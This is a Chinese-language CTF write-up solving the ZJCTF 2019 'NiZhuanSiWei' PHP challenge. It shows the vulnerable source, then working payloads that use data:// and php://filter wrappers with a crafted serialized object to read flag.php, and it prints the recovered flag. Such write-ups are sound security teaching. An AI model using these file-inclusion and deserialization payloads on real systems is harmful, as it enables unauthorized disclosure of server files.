ZJCTF-2019-NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

1.题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
2.过程:

先是考察伪协议:

file_get_contents可以用data伪协议写入数据:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使text值为”welcome to the zjctf”

file提示useless.php,用php://filter读取:

php://filter/read=convert.base64-encode/resource=useless.php

image-20210228195834842

关于__tostring:

打印一个对象时,如果定义了__toString()方法,就能在测试时,通过echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。如果没有这个方法,那么echo一个对象时,就会报错Object of class Account could not be converted to string,实际上这是一个类型匹配失败的错误。

echo $password 就是使其调用反序列化后的__tostring方法。

那再读取flag.php就行了。结果半天没有反应……

仔细读源码发现一丝异常:脚本并没有调用useless.php……一般会requireonce或include

include($file)是可控的,使file为useless.php:

1
password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}

image-20210228200415380

解码得:

1
2
3
4
5
6
7
8
9
10
11
<br>oh u find it </br>

<!--but i cant give it to u now-->

<?php

if(2===3){
return ("flag{6d50eb08-b4b8-410c-a0b0-afa2c0e6c828}");
}

?>
作者

inanb

发布于

2021-02-12

更新于

2021-08-23

许可协议


:D 一言句子获取中...